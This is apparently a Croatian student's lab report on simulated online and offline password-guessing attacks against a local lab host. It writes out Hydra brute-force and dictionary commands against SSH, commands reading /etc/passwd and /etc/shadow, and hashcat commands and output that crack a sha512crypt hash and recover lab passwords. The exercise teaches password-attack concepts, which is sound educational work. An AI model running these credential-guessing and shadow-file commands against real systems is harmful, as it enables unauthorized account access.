Šesta laboratorijska vježba

U šestoj laboratorijskoj vježbi simulirali smo “online” i “offline password guessing” napade.

Online password guessing attack

Preuzeli smo naše challengeove iz lokalne datoteke.

Instalirali smo nmap i hydra alate.

Želimo se spojiti na cvitanicvjeran.local (cvitanic_vjeran@cvitanicvjeran.local) pomoću ssh(secure shell).

naredba:

```
ssh cvitanic_vjeran@cvitanicvjeran.local
```

Hydra alatom pokušali smo prvo brute force napad:

→naredba: `hydra -l cvitanic_vjeran -x 4:6:a cvitanicvjeran.local -V -t 4 ssh`, 4 označava broj threadova, 4:6 označava veličinu lozinke

→ brute force metodom morali, bi u prosjeku, provjeriti pola od 25^4 + 25^5 + 25^6 = 25^6 lozinki

→brzinom od 64 “guessa” po minuti trebalo bi nam oko 7.5 godina da “provrtimo” sve moguće lozinke, malo manje od 4 godine u prosjeku da pogodimo ispravnu lozinku.

→neefikasno, zato se koristimo pre-computed dictionary-jem.

S dictionaryem moramo proci samo 1000 lozinki

To znači da bi nam u prosjeku trebalo oko 7.5 minuta, ako računalo istom brzinom provjerava moguće lozinke.

naredba: `hydra -l cvitanic_vjeran -P dictionary/g1/dictionary_online.txt cvitanicvjeran.local -V -t 4 ssh`

Pomoću dictionary-ja smo pronašli lozinku:

[22][ssh] host: cvitanicvjeran.local login: cvitanic_vjeran password: **oofron**
1 of 1 target successfully completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2023-01-16 14:00:40

[ATTEMPT] target cvitanicvjeran.local - login "cvitanic_vjeran" - pass "oofron" - 916 of 956 [child 3] (0/0)

Offline

Za offline napade koristili smo hashcat alat.

cat /etc/passwd

sudo cat /etc/shadow

Pokušati ćemo pronaći lozinku za user-a “freddie_mercury”.

?l?l … l = lowercase, ? = neki znak

Password space je ponovo otprilike 25^6

Hash tražene lozinke:

6x45/lcnaHOR9JITm$7QbI3nfNRcFyBvmZryYBT19xml.BT8Aw9E4FzjWuHs64upHvJOnW7LTbtla57a.vfZXlPNunIcUvztCsUK5VR

Hash spremimo u file imena hash.txt.

Za brute force napad, time estimation bio je više od 17 dana.

naredba: `hashcat --force -m 1800 -a 3 hash.txt ?l?l?l?l?l?l --status --status-timer 10`

Pomoću dictionarya to vrijeme smanjilo se na 7 minuta.

naredba: `hashcat --force -m 1800 -a 0 hash.txt dictionary/g1/dictionary_offline.txt --status --status-timer 10`

Pronašli smo željenu lozinku:

6x45/lcnaHOR9JITm$7QbI3nfNRcFyBvmZryYBT19xml.BT8Aw9E4FzjWuHs64upHvJOnW7LTbtla57a.vfZXlPNunIcUvztCsUK5VR

Session.....: hashcat
Status.....: Cracked
Hash.Type.....: sha512crypt 6, SHA512 (Unix)
Hash.Target.....: 6x45/lcnaHOR9JITm$7QbI3nfNRcFyBvmZryYBT19xml.BT8A...UK5VR1
Time.Started.....: Mon Jan 16 14:19:33 2023 (3 mins, 26 secs)
Time.Estimated...: Mon Jan 16 14:22:59 2023 (0 secs)
Guess.Base.....: File (dictionary/g1/dictionary_offline.txt)
Guess.Queue.....: 1/1 (100.00%)
Speed.Dev.#1.....: 203 H/s (7.43ms)
Recovered.....: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts
Progress.....: 42416/100156 (42.35%)
Rejected.....: 0/42416 (0.00%)
Restore.Point....: 42240/100156 (42.17%)
Candidates.#1....: knzgnl -> kalpkg
HWMon.Dev.#1.....: N/A

Started: Mon Jan 16 14:19:31 2023
Stopped: Mon Jan 16 14:23:00 2023

Za kraj smo provjerili lozinku, ispravna je za freddie_mercury@cvitanicvjeran.local